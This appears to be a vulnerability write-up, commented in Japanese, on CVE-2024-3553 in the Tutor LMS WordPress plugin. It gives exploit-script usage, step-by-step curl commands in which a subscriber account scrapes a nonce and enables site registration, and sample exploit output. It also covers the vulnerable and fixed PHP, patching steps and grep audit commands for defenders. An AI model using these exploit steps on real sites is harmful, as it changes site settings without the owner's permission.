# 完全自動悪用
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123

# 登録ステータスのみ確認
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only

# 購読者または任意の認証済みユーザーとしてログイン
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
  https://target.com/wp-login.php

# 認証されたユーザーは（購読者でも） /wp-admin/ にアクセス可能
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1

# ユーザー登録を有効にするリクエストを送信
curl -b cookies.txt \
  "https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"

# 登録が有効になったか確認
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "登録が有効になりました" || echo "登録は無効です"

# 認証済みユーザーとして、以下にアクセスするだけ:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>

======================================================================
CVE-2024-3553 Exploit - Tutor LMS Missing Authorization
Target: https://target.com
======================================================================

[*] Checking current registration status...
[+] Registration is currently DISABLED

[*] Attempting to login as: subscriber
[+] Successfully logged in as: subscriber

[*] Step 2: Extracting nonce from admin area...
[+] Found nonce: abc123def456

[*] Step 3: Executing exploit to enable user registration...
[*] Target: https://target.com
[*] Using nonce: abc123def456
[*] Exploit URL: https://target.com/wp-admin/index.php
[*] Parameters: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Response status: 200
[+] Exploit request sent successfully!

[*] Step 4: Verifying exploitation success...
[+] Registration is currently ENABLED

======================================================================
[!] EXPLOITATION SUCCESSFUL!
[!] User registration is now ENABLED
[!]
[!] Impact: An attacker with a low-privilege account (subscriber)
[!] was able to enable user registration on a site where it was
[!] disabled. This could allow creation of additional accounts,
[!] potentially leading to spam or unauthorized access.
======================================================================

public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // 重大な欠陥: is_admin() は管理エリア内かどうかのみをチェックし、ユーザーロールはチェックしない！
    if ( is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            // 能力チェックなし - 認証されたユーザーなら誰でも実行可能！
            update_option( 'users_can_register', 1 );
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // セキュリティ修正: 能力チェックを追加
    $has_manage_cap = current_user_can( 'manage_options' );

    if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            update_option( 'users_can_register', 1 );  // 適切に保護されました
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

if ( is_admin() ) {
    // 「ユーザーは管理者」と誤解
    update_option( 'sensitive_option', $value );
}

if ( current_user_can( 'manage_options' ) ) {
    // 実際にユーザーが管理者権限を持っているかチェック
    update_option( 'sensitive_option', $value );
}

# WP-CLI経由
wp plugin update tutor --version=2.7.0

# WordPress管理画面経由
ダッシュボード → プラグイン → "Tutor LMS" を探す → "今すぐ更新" をクリック

# 登録設定が最近変更されたか確認
wp option get users_can_register

# 最近のユーザー登録を確認
wp user list --orderby=registered --order=DESC --number=20

# 1. 能力チェックなしの is_admin() を検索
grep -r "is_admin()" . | grep -v "current_user_can"

# 2. 直接のオプション更新を探す
grep -r "update_option\|add_option" .

# 3. 能力チェックのないAJAXハンドラを見つける
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"